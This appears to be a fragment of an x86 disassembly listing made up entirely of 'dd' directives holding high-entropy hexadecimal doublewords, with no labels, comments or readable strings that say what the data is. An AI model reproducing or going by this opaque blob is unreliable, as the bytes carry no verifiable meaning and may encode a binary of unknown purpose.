		dd 0B0D006Ch, 860523DFh, 7F42096Ch, 5681741Eh, 28E4C469h
		dd 84169350h, 0F900F8E2h, 18B7C547h, 0DE00D4BBh, 4338813Ah
		dd 0E52DA6FFh, 9602B023h, 7A4CBCD1h, 98974A00h,	0DCD482A2h
		dd 44A1CF97h, 17E796C4h, 0C146BBDEh, 57B478h, 20FC18h
		dd 6D9936A0h, 2A4740F8h, 7402604Bh, 6930E308h, 844CC9D4h
		dd 5B61C521h, 0C3EC04FCh, 2AF10570h, 7A806C05h,	219FECBCh
		dd 30220426h, 61299306h, 86215C6Fh, 0E7F40084h,	27042DA2h
		dd 9003EB13h, 401E8165h, 0D047C9DBh, 9EB18230h,	0F0BF4230h
		dd 13C27020h, 0C3DD1ED8h, 16682CB8h, 0DC08C48Eh, 0FC061768h
		dd 0E23AF26Ah, 8CB99528h, 4FCA0863h, 0D35422F2h, 5929D860h
		dd 0EDBAB104h, 0A3811E7Bh, 0F7E62Ch, 0BF6EE340h, 4DA32A2Fh
		dd 77A65500h, 696A315Ah, 0B674033Fh, 56833E9Ah,	44C8EA90h
		dd 2E1CAF7Bh, 0BCA86307h, 78D8F24Fh, 0C8049768h, 4BD4CCA3h
		dd 58801788h, 0F981B078h, 6C771A38h, 3150342Ch,	9E2CC405h
		dd 42B0CA1h, 0B899C44Ch, 0BFB38874h, 0F0421704h, 0E818CCD5h
		dd 0E7526300h, 97ECE99Dh, 0A761FDCBh, 0F3984FC4h, 4A9185C8h
		dd 7FA89265h, 0DA811807h, 886048BFh, 6BBB2D68h,	61309881h
		dd 88E87870h, 627264D2h, 874CC50Fh, 491FD717h, 74432CA2h
		dd 5277F101h, 4978CA10h, 1095202Ch, 0A1897947h,	0E3A6F3F4h
		dd 5C51F024h, 0D4A740BEh, 79648C29h, 67774286h,	7B88378h
		dd 1CFDAACEh, 9A13D8C1h, 60306140h, 2F02A93Eh, 82F88829h
		dd 318F9A00h
		dd 1191109Eh, 0E9261242h, 8220A633h, 595525F2h,	0B8E3A778h
		dd 6186C07Ch, 2ECF711Ch, 0C29460BFh, 22A6F2Dh, 220402A0h
		dd 1720A86Eh, 9F65CD2h,	9E4DE2DDh, 0EB204841h, 9149A1E0h
		dd 706FE800h, 0F0A267C1h, 20D4F98Ch, 6270B4A8h,	7029A073h
		dd 0E3E82C84h, 41A34518h, 686137ECh, 2A1610A5h,	81D4484Dh
		dd 0E4FBCD15h, 2C58F310h, 0FF01985Ah, 520CF119h, 1574F0h
		dd 0B8E0E617h, 897FEBF8h, 0AC5C1F01h, 37BF3E48h, 0E810142Eh
		dd 0A9DBB701h, 2AF1FFBDh, 48EC380Ah, 20C86D97h,	498A419h
		dd 2B6BD241h, 0AC6091B8h, 44F00054h, 585F4CB5h,	0D22C9B85h
		dd 90F181FCh, 68B82049h, 11E0E970h, 1158C8DCh, 0D7004B5Ch
		dd 0AD2E795Eh, 3E72C3F2h, 52619500h, 20F45D92h,	0D4731794h
		dd 0CA68205Bh, 0AA3E6104h, 0E044CACBh, 0FB41A067h, 93521EDAh
		dd 0E4905AA0h, 135E17Ah, 0FC763664h, 416A2781h,	3F5DF384h
		dd 0A5441C48h, 9B00E464h, 646A3D82h, 3E839823h,	0E380EB11h
		dd 0E81D7386h, 88C8E70Bh, 204FBF07h, 0BE17FF84h, 501D212Ch
		dd 5F8BE260h, 0D0110574h, 0F86741C8h, 0EE7E1174h, 0F214F213h
		dd 0B7847CDCh, 0F9108000h, 4498CB3Ah, 251C029Dh, 416924FEh
		dd 0BAB6D4FCh, 42F5075h, 4AF25150h, 0FE609470h,	69AEF97Eh
		dd 0D498602Ah, 1003B94h, 7A18A6B9h, 134E1364h, 0B0216A04h
		dd 293A80F8h, 5B32043Bh, 484CB5Fh, 0DB8024E8h, 33947C73h
		dd 0FA9C3100h, 43D8A201h, 0FD35E449h, 2FC05AD2h, 983AAFCBh
		dd 4388400h, 0C5585393h, 95351068h, 6B31AB8Ch, 43502C92h
		dd 66411DA4h, 1580342Ch, 751BE742h, 80246E3Bh, 526B9A94h
		dd 0C00DA0h, 55C86C4Dh,	45CF6D5Fh, 8044311Dh, 489301C0h
		dd 0BEC37B5h, 43C528CEh, 0C1002C59h, 2EB95194h,	758F0AFBh
		dd 11BC52F9h, 0D8AA17C4h, 6C23B0B2h, 9445F831h,	3F34D611h
		dd 4D62C470h, 5D74015Eh, 0D438D9EAh, 1AC4F03Fh,	87762407h
		dd 49C2E373h, 40BCFCF2h, 7DCC03C5h, 8219621Fh, 846B990Ah
		dd 80BF6029h, 0C5E9E0F1h, 77981B90h, 8DFF09CDh,	6044D478h
		dd 82489B4Ch, 4040C8FCh, 5E1F580Ch, 30F48C2Fh, 0CBEDFA00h
		dd 0DC2A07B2h, 15C03D6Dh, 4E4066C0h, 94992D60h,	1C188038h
		dd 0B2E0FB02h, 4397A5CBh, 65E6FABCh, 0A0DA1488h, 5AAD6581h
		dd 96F141A7h, 7A804160h, 0ECC104FFh, 623B4429h,	40116CBCh
		dd 804C0030h, 730B9FF1h, 30D47FD3h, 3C93A8h, 3A109A4Ah
		dd 0F685473Fh, 30D4832Ch, 0F1FFAA0Bh, 19DAE694h, 0B35A6EF0h
		dd 6F37B091h, 0B832B5E0h, 2EA245DCh, 0EE6BE430h, 649894F1h
		dd 8054ECCFh, 61220D26h, 0E5E80FE4h, 9BE0133Dh,	0FAFF7F59h
		dd 1FC7D500h, 4C2EB076h, 2D833451h, 554C0F68h, 0B44DF300h
		dd 622510D9h, 0D748C8C8h, 1D447AC4h, 0C1E0B53Dh, 0C9056A88h
		dd 4B218155h, 850E27FEh, 228C4C0h, 2E3C7B94h, 2CDC9E83h
		dd 20C4786Bh, 0AB2F74B0h, 0D440CAF9h, 0FA276E9Ch, 582B5B2Eh
		dd 790004C4h, 40D6DC9Fh, 2A373Ah, 0C3F68783h, 0E05B10A2h
		dd 280AF300h, 60DAB971h, 52752D73h, 0F20C2868h,	401480h
		dd 58A35421h, 0AFDF77F6h, 818F9600h, 0F7B08D69h, 38F42D3Bh
		dd 0F280E012h, 0A1BFBA7Dh, 5C04EDB6h, 0E88C61FBh, 67E7001Ah
		dd 0CD08F71Eh, 0D07940D5h, 7320F501h, 568B099Eh, 1CD470h
		dd 0AD11A90Eh, 4452135Fh, 0A3293713h, 8001E0B2h, 0BEA11B4Ah
		dd 0AFBFCB9h, 0C04F3Ch,	81D26919h, 4AEFEC8Ah, 5C8A77h
		dd 81E0CA24h, 7D223D9h,	0FE42EEE3h, 9CA22012h, 0E20165E7h
		dd 0ABCA0C16h, 80644BDDh, 70693D52h, 0B844AF01h, 2660CF78h
		dd 0A6FF213Ch, 48E8001Bh, 86801AFDh, 0C278509Ch, 0C7584A39h
		dd 9D6D3448h, 0CC82A70h, 583D0449h, 0AAA19876h,	32F23430h
		dd 0D0F30793h, 4042FC41h, 16430EBEh, 702250B2h,	0FDAA2475h
		dd 35766420h, 0F1898880h, 6E7F0B0Fh, 0E8867A1Ch, 392468FEh
		dd 0F14F9CFAh, 73444501h, 0D01DAE22h, 291681EDh, 4C041927h
		dd 0AD48C8F9h, 0E0EA6D8Eh, 3EE877C0h, 0A150267h, 6E4C9B85h
		dd 73D56C49h, 946D2528h, 9AF0FC0h, 4840BF63h, 0F04AD42Dh
		dd 8FD8801Ch, 24953B7Ah, 30274079h, 0B16288h, 1D90C449h
		dd 0D7E32570h, 6A8C6A55h, 20C5C034h, 1CA120F8h,	6054D8E2h
		dd 2201BEF8h, 0FB1D56Bh, 0EC2820F2h, 7410D094h,	0FEF90177h
		dd 4B6CB816h, 0BD28B030h, 0DDD8B410h, 741C1706h, 90104029h
		dd 1BD3004Dh, 9B157552h, 0C42CFACFh, 3540C85Ah,	5E37130h
		dd 5671CF7h, 0B8DC8732h, 581144A4h, 298C204Ah, 9FEECC3Eh
		dd 14014200h, 32B35B1Fh, 77D4B068h, 514F061Bh, 497ADA6Ch
		dd 606D189Ch, 32A4282Bh, 963E6300h, 87187EB8h, 0D6C20B7Bh
		dd 804E711h, 700CB492h,	96C8D500h, 9335417Ch, 0A8A50F54h
		dd 80425FECh, 5C50F97Dh, 691FF23Ch, 0EC479B1h, 0E8E0E3E9h
		dd 9204FD27h, 2EAC1C04h, 0CA80A726h, 686A58h, 989CCB3Ch
		dd 7B86E6A2h, 0C380D0Bh, 3064E7h, 0D6970582h, 1036317Ah
		dd 0F51C89F0h, 164F5507h, 0D2966318h, 0E6C49041h, 11330608h
		dd 41D1AA46h, 0E29AF0BEh, 38C6669h, 9B3AD7B8h, 0B1B82162h
		dd 0FCA4737Ah, 84A3184Ah, 1878982Ch, 0C14D110Bh, 0D890D8B8h
		dd 9C00A145h, 0C4FC35D1h, 46A97318h, 0F897AC8h,	0A48C6044h
		dd 0FB2103E0h, 1C2C91E7h, 0C43D64C0h, 0E260497h, 0E9F83993h
		dd 0B71F22D4h, 66270890h, 7C1D0501h, 944FE5Ah, 74AD7070h
		dd 53281374h, 0FFA8009Eh, 0CF18F959h, 33D1131Eh, 0D0A2D7C7h
		dd 2CE8F354h, 36FECA80h, 62002AD6h, 2D4C0C2Ch, 3B1A48DCh
		dd 0AE050235h, 0ED4E9359h, 9B280070h, 0C17FA83h, 87B8C4h
		dd 0D840926Dh, 8BF3F633h, 0C0CC4F00h, 27A2ECACh, 6F9A0079h
		dd 0BB43DF0Ch, 730174DAh, 0E3672EEAh, 2C40D7A2h, 5C84BF88h
		dd 0F8891CEEh, 9408054h, 8703B8h, 0FB196968h, 75DDA63Ch
		dd 0E182372h, 212904DBh, 26EEE9h, 9F9346B2h, 0DABAE50Ah
		dd 0BBF03725h, 0EC818C6Ch, 47018B6Eh, 6D1980A7h, 0E519C520h
		dd 0E1AC00CEh, 92F2A0EBh, 6624FFDAh, 0F100E827h, 0D86DC870h
		dd 23E00075h, 0EE14CF39h, 0A32FB0EAh, 68E47Fh, 1F07D53Bh
		dd 0AFC9D31Ah, 0D7382E01h, 34BE8B1Dh, 269661CCh, 90404E6h
		dd 0D41493D6h, 22074AFEh, 17C846Ch, 0DCD13AC4h,	5DEA28F2h
		dd 4C4498B8h, 0C0AF3F01h, 634129C5h, 4882DD4h, 0D626F01Fh
		dd 0FFBC93A6h, 2B0EC8E9h, 37BC1415h, 0AA621CE9h, 0E614E4F9h
		dd 0D0BF4A49h, 85387B38h, 40BC0800h, 0D71696EDh, 9F4B0FBh
		dd 97AE9CCCh, 565F7C04h, 7421A4A6h, 5B1242BEh, 6FD4C8C4h
		dd 4040DA89h, 3F6B2D0Ah, 0FA0FFC79h, 0A1A245AAh, 0ADC0EFAFh
		dd 49FE682Ch, 0E80DB52h, 221593h, 112777Dh, 74AC0159h
		dd 13039CCDh, 761C3910h, 0A32E9D09h, 88BC5683h,	1780AD74h
		dd 0F44DAC0Dh, 79920332h, 145B3301h, 0F497C128h, 0F7745802h
		dd 69626A7Fh, 6C68D284h, 56108897h, 4C01F507h, 0F190F98Dh
		dd 0C6CB52h, 0A945FF2Ah, 39FDD9Dh, 0C4F37627h, 0A109009Ch
		dd 0E6B96175h, 989BCF49h, 546AA43Dh, 34C904Bh, 0E1E900EEh
		dd 9E0FAE73h, 28162C76h, 0C0523DC8h, 0A7007CB2h, 3E64C979h
		dd 6100538Fh, 68C2CB0Ch, 54145CFh, 146D0791h, 37F4B09Eh
		dd 0C59E9CB1h, 0C9D83980h, 2DD770Ch, 0CCCFB253h, 5451409Dh
		dd 5214F186h, 4CA4B099h, 0C0E08472h, 6A008845h,	0DA54CDA4h
		dd 1F9D4792h, 0FEDEC5Bh
		dd 854A1E2h, 4A87A03Fh,	0B048169Eh, 0B00EA25Eh,	0D0F2C139h
		dd 3B4C94D0h, 8EE13871h, 0EFE2700Bh, 0FAF2A064h, 688C1F4h
		dd 1E7778BCh, 130058E6h, 0ACEAA0A2h, 4A61EFh, 0F8B8525Ah
		dd 4C92BD88h, 0AF12CB02h, 0E6FAAB0Ah, 3663E28h,	0A5165A8Bh
		dd 3871780Bh, 0AE3FC080h, 0F2AB8EACh, 3653030Eh, 173261F0h
		dd 0FC05BA71h, 0E18040C2h, 9764F0C8h, 5B30DCE6h, 0EBF919E7h
		dd 6EE50533h, 85DDE1B8h, 802837B4h, 70FFF05Dh, 91AFF600h
		dd 15195AB1h, 104B092Fh, 0D4B392D7h, 9C421DACh,	9184D378h
		dd 703F82D0h, 1F45440h,	0CCD4D700h, 0E1C15C49h,	2188B2B2h
		dd 290B7048h, 5EAC8928h, 0ACE069B0h, 268884D3h,	67FD0EB3h
		dd 0AA296BBBh, 0E7FBD856h, 0C5A40B4Bh, 0A13C0E70h, 25166860h
		dd 7F3B3D10h, 0F1C10154h, 2BF86B86h, 58211471h,	6105F433h
		dd 0C85B38D0h, 1903C160h, 0F10F73F3h, 0B480AE53h, 0EA7444BCh
		dd 0D0880C2Dh, 0CE0FADDFh, 0DBB80041h, 7809AB0Fh, 127BF21Ah
		dd 0BC912050h, 70488ABCh, 9EDF221Fh, 894B284Eh,	0A8801347h
		dd 0D2425Eh, 5B410638h,	1864822Dh, 6F0A177Ch, 0DC7832C7h
		dd 2008F069h, 6B1301DEh, 48A5CB70h, 9294852Bh, 0C623F050h
		dd 3786C10Fh, 0C03874FEh, 0CC1A2633h, 79A91E00h, 2469FD4Ah
		dd 0A896017Dh, 0B12B2D57h, 0FE40C870h, 4226860Bh, 0AE880451h
		dd 5CA06240h, 384C1893h, 0F9CD0544h, 0B4525FF1h, 0AA08F4h
		dd 0A91F9550h, 1C90C6B4h, 5EF21302h, 0C07C20A0h, 324BE13h
		dd 897A67D1h, 0B3E2CFA1h, 7B0E68F2h, 642983F6h,	3CAB2EF1h
		dd 7B0F454Ch, 622A1134h, 2B792EEFh, 73000844h, 1424FFC0h
		dd 4E62150Ch, 482C80F4h, 0F7881FF1h, 0BDCB02Fh,	0D61C3EC0h
		dd 0F0A3B881h, 896508FDh, 0B4C82EE6h, 532C0080h, 0EEF9E18Fh
		dd 161C2DB5h, 0C5C1AD4Eh, 0B0057764h, 42671C20h, 7AD22683h
		dd 8C80630Fh, 72D8C9F3h, 9EA123Eh, 0BFCC0441h, 0BE9702A5h
		dd 0B244C192h, 4CF214h,	7A6BA2B3h, 909AD0F5h, 0CB24A0Ch
		dd 968F610h, 421A7602h,	55B99510h, 92C7888h, 0F128F1h
		dd 9020E828h, 0DAFD136Dh, 0F64841D8h, 246AA2C6h, 9E005340h
		dd 440A41D2h, 0F3F1Dh, 325EC25Bh, 0FA1EBF4Dh, 0D4FBC924h
		dd 8D45A60h, 0AB98C5h, 74A603F1h, 9C6B738Bh, 18BAD807h
		dd 0C1D03D2Eh, 0F83092h, 21134B2Ah, 98061BB1h, 7D93833Eh
		dd 47F0E102h, 8443C788h, 37404BD8h, 0D2404674h,	2A46552h
		dd 0B56B5B68h, 8C765Fh,	6F2C8FE8h, 0DE3A2684h, 0FD277C10h
		dd 6540120Dh, 17B48044h, 0D25B343Ch, 52F52F02h,	7428737Bh
		dd 4F01ECCh, 0D056637Fh, 0A2D7E26Ch, 349CFDF6h,	96726146h
		dd 0F20842C4h, 36C0A87Eh, 11DB7CBh, 6CFA663Ch, 0FD268CA2h
		dd 9FBCCC1Bh, 59FCEB01h, 573F9752h, 2637D464h, 40286E61h
		dd 94171041h, 218BF8B1h, 0D84E80DDh, 1FA9B0h, 40D6E198h
		dd 67DAD9CFh, 6BAB90A8h, 0A89AF206h, 4B207CDDh,	6C88CC59h
		dd 29EC7B7Eh, 0EC97D900h, 7462CE0Eh, 8ED008C4h,	77805E4Bh
		dd 3AEFEEE2h, 5FF204B1h, 0AC0D47DCh, 0F8C85B40h, 11A100DDh
		dd 70336E31h, 28484FA3h, 58E8D254h, 19B96780h, 84009631h
		dd 0CF243ABh, 954B4F52h, 0C795746Ch, 0EAE009C8h, 54E9A05Eh
		dd 4A00CE3Ch, 5A062ED1h, 0A4C8C1D2h, 82C50039h,	63346A58h
		dd 95001905h, 0B94EBA77h, 13835C46h, 8864F90Ch,	0F800C360h
		dd 4B6D5FFAh, 21B3787h,	2ED0410Ch, 40FCADE6h, 37017C91h
		dd 6FCC7793h, 10803E4Ch, 0F43FD5B9h, 12DC9A13h,	8CAB1635h
		dd 4286738Ch, 0A44F74FDh, 76D3A422h, 2C6C4030h,	0F02C9105h
		dd 1427009Fh, 35B50090h, 0FFB3AEE7h, 0FA008183h, 14F06EC7h
		dd 0B59D0C42h, 82C1039h, 9B8426CAh, 80F04010h, 389FED7Fh
		dd 2806C94Ch, 0B9B473Bh, 7A30A384h, 0CBD210A0h,	4307808Ah
		dd 33DF6D4Bh, 89FC9333h, 96100A2Eh, 6F0038F4h, 201012D0h
		dd 5935C1h, 9554269h, 0A6DC04FDh, 0B0456A2Ch, 0E8583600h
		dd 2A0C8Bh, 0CD68D21Dh,	67F50992h, 0F0E37909h, 430F149h
		dd 0C0E68843h, 373630B2h, 9411A8B6h, 7F10170Eh,	0C241F567h
		dd 4021F799h, 0C02AB25Fh, 840E7B78h, 10059CE4h,	63936CE8h
		dd 0C31580EEh, 0A379DE20h, 12CA1104h, 0ECC14447h, 0F200FA3Eh
		dd 88D7852Eh, 6805B830h, 55710091h, 44BB9C8Fh, 0E72D0E7Dh
		dd 397BF60Ah, 3E2CF48Bh, 802D5050h, 0E450C47Bh,	6BF32E30h
		dd 0A22135D8h, 8077874h, 0F5E48F58h, 33803DE4h,	1F370A0h
		dd 60FEC124h, 0F0421645h, 2C4A4F6Dh, 4AF8548Ch,	0FB38211Eh
		dd 4727C067h, 97A16600h, 6FE36159h, 0A6B70021h,	0A41EDA9Fh
		dd 0A91C17A2h, 204EF615h, 50948035h, 275EACBh, 0FF8BE371h
		dd 0B0734AA3h, 0C1FCFA14h, 8CB720CEh, 5BFCD4E9h, 51F70FF1h
		dd 49602239h, 6EBB01C6h, 80E2B501h, 3E380221h, 60604D20h
		dd 0D2142822h, 0C800A25Bh, 0EDAD72C0h, 0EF8B70h, 47CA19E6h
		dd 395213E8h, 0D41D640Eh, 0E438982Fh, 0C9580048h, 0CCC8D56Ch
		dd 44079076h, 0AD6155A8h, 2222300Ch, 0B0F0AE7Ah, 1808BC00h
		dd 0FA69626Eh, 0CC261DC8h, 0AD6D00EDh, 6F54E47Eh, 757DD618h
		dd 78784D18h, 2BAA3FF0h, 813C909Ch, 5110A494h, 6C61807Ah
		dd 0A5BE62A9h, 90F000F7h, 455E05E8h, 0FE727756h, 812D0330h
		dd 7DC6A7BAh, 28AE0E3Dh, 854B9BFh, 0CF310177h, 44D5F8DEh
		dd 0AA308161h, 0ACA07223h, 0AE3C4h, 76B79712h, 20B0E9DAh
		dd 80859E39h, 0E362D952h, 7ECC3CAh, 961AD4C8h, 6A518322h
		dd 607CF900h, 9CFB675h,	0CC4507Bh, 4CAF3761h, 0A1F9B0C9h
		dd 54FA3126h, 7A2A21C0h, 0F84886Eh, 96F54AC7h, 180F5500h
		dd 6A00D1CBh, 8A2AC944h, 823FE4h, 27A4DC4Dh, 38AD66DAh
		dd 98EB973Fh, 71D146D4h, 0B68C0084h, 6DB25D3Ah,	5800524Eh
		dd 0A6E2A48Eh, 808D1208h, 0F6F0613Ah, 0ADE02B54h, 6FBB5B44h
		dd 0C587082Ch, 0E14A102Fh, 0FB0076CDh, 6313140Fh, 0C438F5ADh
		dd 4359C839h, 78F63344h, 0E6DA0119h, 55B2454Dh,	3AD04C86h
		dd 7ABF9A1Fh, 22385F14h, 2B410330h, 0B1F076D4h,	403186B8h
		dd 945DD100h, 8DDEA003h, 0A5BA1865h, 0E0A93125h, 837F4439h
		dd 1E3FB3A3h, 59EE6028h, 77D2F068h, 36CB38h, 0BC5CA115h
		dd 2C88EEh, 0AD4CCC46h,	1A749145h, 8F19C32h, 6F2060C4h
		dd 26371D1h, 0DA18DEA2h, 0A4462639h, 0B75B303h,	0C01A98BEh
		dd 3A4AC6BCh, 66B0B9D5h, 0F43FC299h, 9117E300h,	41C91233h
		dd 0AF490180h, 0E5E4AA9Dh, 119C2246h, 0BB185EADh, 0F261412Bh
		dd 0C424FD00h, 49F78898h, 69670091h, 0C008A71Ch, 5E00B723h
		dd 0D1DFA19Ah, 1CF651D9h, 0A9A9853Ch, 156100B4h, 0A6B9AEB1h
		dd 0D63098A6h, 8DB0212Ch, 0B23D1D86h, 0ABDD0065h, 609344F0h
		dd 98296931h, 341228FEh, 53590420h, 87AF00E5h, 0A6EB1AFAh
		dd 0B0182CB3h, 945931D4h, 725E0055h, 1F21F86Ah,	50952A25h
		dd 1B120ED8h, 7540A5C1h, 0F1BAA8CBh, 0F308E33Dh, 973CCD00h
		dd 3467CC55h, 876E0091h, 1DAA92Ah, 5901227Fh, 7AC2E9AAh
		dd 984889C6h, 4FAE8876h, 40B9F500h, 19BD3387h, 375200F2h
		dd 6B551AD9h, 0A40070C5h, 0EC44E4E6h, 18512A66h, 41CAE548h
		dd 3F49D033h, 565219A0h, 71E0C461h, 0E41F76B0h,	0BC3726ACh
		dd 0D1F10002h, 2A63157Bh, 0FCF2F874h, 0BB314C0Ch, 1F5137h
		dd 0C96EE4DFh, 4E6FEB09h, 31ADB800h, 2F6278B0h,	286D4C79h
		dd 47F4978h, 8149D418h
		dd 0AA02F5E7h, 0E9E0C93Bh, 0D0A6C376h, 0C53DECh, 0E1C793F8h
		dd 0B2D9D549h, 22BC364Ch, 72440165h, 62E1DA23h,	68E09101h
		dd 0F6401D0Eh, 0EAE329F8h, 0E9935407h, 6BF4CC7h, 0A1115352h
		dd 0B21055A0h, 0DC007723h, 0A3B69D45h, 1D1108FAh, 70241Ch
		dd 7F4CF5FDh, 294D3B52h, 79AA1174h, 8A63F050h, 60CE6040h
		dd 0CB33140Ch, 3048E9B8h, 0C2A12FE1h, 0E403B31Bh, 78255E43h
		dd 18D1892Ch, 7DDBF050h, 3F200165h, 0C2F8BA24h,	9607FC26h
		dd 0E110A160h, 0B13852h, 12E0BEE9h, 8D45AEEAh, 0AF12177Ah
		dd 8027A7B9h, 0E92D8F50h, 0D5652855h, 0DD4C44C0h, 50ED120Ch
		dd 6F311115h, 5900A952h, 0C7671BDh, 43BC8202h, 6020F0ACh
		dd 74367057h, 86D624DAh, 0CAA3601Ch, 38000A50h,	0DA136D06h
		dd 1C51F81h, 0A8A516FFh, 0FC2C74BBh, 29268678h,	7A0968ACh
		dd 0BB3091BAh, 5E64A850h, 7CB30085h, 27D22D8Eh,	4560D510h
		dd 49FD2899h, 0B9210EBDh, 5A00C642h, 0E1E26533h, 4C6DA248h
		dd 0A80D22D0h, 3C8E9FF0h, 7C405C2Ch, 0AF0ED0A4h, 0DFFA47C6h
		dd 0A7D083FAh, 0FB5C3AF5h, 417073h, 30B5F367h, 6B4844EEh
		dd 36B16804h, 0FC902ED4h, 74F0153h, 79320C9Fh, 0A9AAF03Eh
		dd 0D93ED3C4h, 3BCE1D72h, 3D8500BAh, 6B108B53h,	0FA5003F9h
		dd 7C1DB52Dh, 0B726FD90h, 3A96701Dh, 64EBC740h,	2405Ch
		dd 4B6AADFCh, 0B0840604h, 7407F17Ah, 562423C1h,	4E46AAC0h
		dd 1BAC7582h, 69A00FEEh, 60B84AB1h, 7F1806FDh, 8218AB56h
		dd 6521C1A7h, 60CC896Bh, 0DC004434h, 76E58493h,	0C6703Ah
		dd 95058C45h, 96F886BCh, 0F14E5600h, 0B9D2165Eh, 3C931FBDh
		dd 354DC0A2h, 4F130940h, 0F5C73301h, 5343FED4h,	3ED970B0h
		dd 86006B07h, 24502F9Eh, 0C25D9484h, 8D93B191h,	6A4E8C60h
		dd 88B75228h, 0AA8C53Ch, 6818BCA7h, 419F2606h, 0A6C20659h
		dd 8B621BFh, 193B9E37h,	0D95C6EE0h, 0D540074h, 0A4A092FDh
		dd 4F0093ACh, 4707495Fh, 1EDCA5C8h, 9EA16846h, 87003E3Fh
		dd 34397650h, 0D7029DC3h, 0DCF2E833h, 4EFB810Bh, 29803B60h
		dd 7C631697h, 6500519Fh, 0A0F3B278h, 34A3DD8h, 0C8468755h
		dd 80081B0h, 66B39F49h,	1589FAh, 63F3A6BCh, 5F81A3C3h
		dd 8850C46Ch, 926E0EE8h, 52A006D0h, 3D31579Eh, 83A64F3Dh
		dd 42C88E22h, 5F811943h, 0D4AF39DBh, 0CC00F130h, 9D70C2FFh
		dd 0E637CDh, 0F5C8FEDCh, 0A3BE17E8h, 23D43E0Dh,	3A40C849h
		dd 38965E2Eh, 87808E26h, 2386037Fh, 0D25CD148h,	8D490CDCh
		dd 6060C182h, 0E8CC793Dh, 0C000915Eh, 0BEB6C6D6h, 0FE972709h
		dd 0F1311B47h, 1B802803h, 20A0E4ACh, 94185F88h,	781179B0h
		dd 0D63D00D0h, 9ADDB41h, 725CF963h, 0B3961F1Fh,	0C5A3FB85h
		dd 67E69000h, 77E7C3DAh, 5FE63Eh, 4E498E84h, 1F4AB0EFh
		dd 0BE5450CFh, 821CD214h, 804A873Eh, 130858E0h,	0CA5E0EACh
		dd 0B4009A23h, 0A426BA8Bh, 0B0B8F400h, 0D4404EABh, 0C68906D0h
		dd 0F1426051h, 730E0200h, 3C6A7803h, 9ACC00B2h,	820F07A8h
		dd 0FA72C2FDh, 0D903F3F5h, 2148E54Bh, 56A1E183h, 0D808D621h
		dd 0C89789BFh, 0AB0177C6h, 602855D2h, 4080888Dh, 922282D0h
		dd 3A61FA56h, 4F433D39h, 189C8F07h, 0E3C71947h,	14D04D44h
		dd 1433228Ah, 5F34828h,	8C03D2FCh, 4A8802CFh, 0C8A0E8E0h
		dd 0BBC1B6A0h, 83066D03h, 0DD4FA1CBh, 3F882826h, 0D9E0B08Eh
		dd 662FC356h, 117C501h,	0B34B1AA1h, 20C27AF0h, 0FD024893h
		dd 4C3D9C65h, 0F2D085B4h, 1D41EE86h, 4E804BDAh,	0FB4567D5h
		dd 2FEC00BBh, 0C915C10Dh, 6860391Eh, 8677FE0Eh,	24489965h
		dd 91A4867Bh, 2F870074h, 134E8B17h, 76350062h, 0EFAEA1AFh
		dd 203FE3C0h, 59B4833Ch, 630C87Ah, 61D368D1h, 90485854h
		dd 0A1C430D0h, 12078AA1h, 4025CBC3h, 3B3DE7ACh,	0C70FE091h
		dd 20C91DE9h, 0C47A03B3h, 38A66145h, 485FA567h,	360043D0h
		dd 4F925159h, 0B238D9h,	28E7CCABh, 5A0978E4h, 4AF0DC7Ah
		dd 9806B328h, 0B1249150h, 0FD97860h, 317D51h, 0FECCE3F3h
		dd 0B6703398h, 690C6BE8h, 0C0F135D2h, 463D15E8h, 0B043CC15h
		dd 0A96D4D00h, 0A1ABB6E3h, 0B046A00h, 2601566Eh, 3E70C4F3h
		dd 0F04CC94Ch, 0C1C744FBh, 0CFA473Dh, 0A8480708h, 34415018h
		dd 0CF27887Bh, 0DB631700h, 0F17EDA0Dh, 8EA1038Fh, 4834F443h
		dd 5D244974h, 81118CECh, 59C17A1Bh, 5560F0C0h, 85B190C4h
		dd 8EB69C02h, 8BA1002Fh, 0DED85FAEh, 0B10D4011h, 386F2E3h
		dd 7FE10103h, 0B8092481h, 2EAC40F1h, 24A49F8h, 47227AD2h
		dd 0F34A5C60h, 4D1EB001h, 0C779A6F2h, 0C30CC022h, 0E79984CDh
		dd 90064CE2h, 4A28C279h, 51E13020h, 0D6EDE3C9h,	0E0150700h
		dd 13D4DDE4h, 30A04D34h, 82FEF00h, 0E869A882h, 61D55F32h
		dd 1A604005h, 5BA403DFh, 67CADACFh, 141BB1F0h, 0FDF0D91Dh
		dd 0FE1ABF82h, 0DE4C6007h, 0B85338AEh, 3A580800h, 93185401h
		dd 385F2915h, 0FE4C2F8Ch, 153103A6h, 1790E0F9h,	8E1E9BD6h
		dd 5E434E21h, 0B80901EFh, 29C3A7Dh, 37D098E7h, 8CB002C0h
		dd 0A9C0D65Fh, 305954F9h, 97E30089h, 886521ADh,	3200266Ch
		dd 6A1125B3h, 3796A9h, 0A4446689h, 0CB4F8310h, 479B171Eh
		dd 9D4A0F3Fh, 375FA47Ch, 0D94E5040h, 330E785Dh,	604FEC64h
		dd 0E4394592h, 605A14E8h, 138FF4CCh, 0FF97DBC0h, 9177D508h
		dd 0F9C77E07h, 67D0A06Ch, 455888h, 0EE02B749h, 5D47FDD7h
		dd 7C8C63Eh, 87394452h,	0A007F990h, 0B048014Fh,	3C26FA36h
		dd 9100CB60h, 0DA7B74C6h, 118FBB5h, 49CD870h, 0D46833E0h
		dd 4A01E853h, 8A7651A0h, 43C64FCEh, 840BCCCh, 0FBCC7F7Ch
		dd 0D41E102h, 4050ADB5h, 291889Fh, 0F79579F4h, 8646006h
		dd 0F3E2D200h, 25E7F270h, 8A59002Dh, 0F11C7672h, 7100F8C1h
		dd 0C7E80D03h, 278660Ah, 3A706717h, 8A32FF7h, 90E7EF42h
		dd 28F356FEh, 0B8559807h, 34F97A7h, 0B04F229Ah,	3A84F1DDh
		dd 0F713A68Ah, 0F22C4030h, 0A9175048h, 0A491AFE0h, 0A7048685h
		dd 0F9C381C0h, 0C86F00F5h, 2E12777Ah, 2C09EFC6h, 2133F3D4h
		dd 52E05370h, 228424h, 0C2CDE406h, 0AE886AF6h, 3E611402h
		dd 0E8131BCCh, 91DFE728h, 0B1D8009Ch, 0A5F23110h, 10FD603h
		dd 9C6C37Ah, 0DFAD4889h, 7989BC03h, 50E458E3h, 0FC540038h
		dd 279ABEE9h, 0B7410220h, 0D4C3316Bh, 0F08604C4h, 63539A00h
		dd 3F649877h, 555A0194h, 9C08CA7h, 82E171CCh, 5F53C2A0h
		dd 217547Bh, 0DABF7A29h, 403B3C84h, 0F691EA2Dh,	23C30F8h
		dd 0E3CF4A40h, 0AC540E03h, 0C9C8DA28h, 0DC32B068h, 3F4CD707h
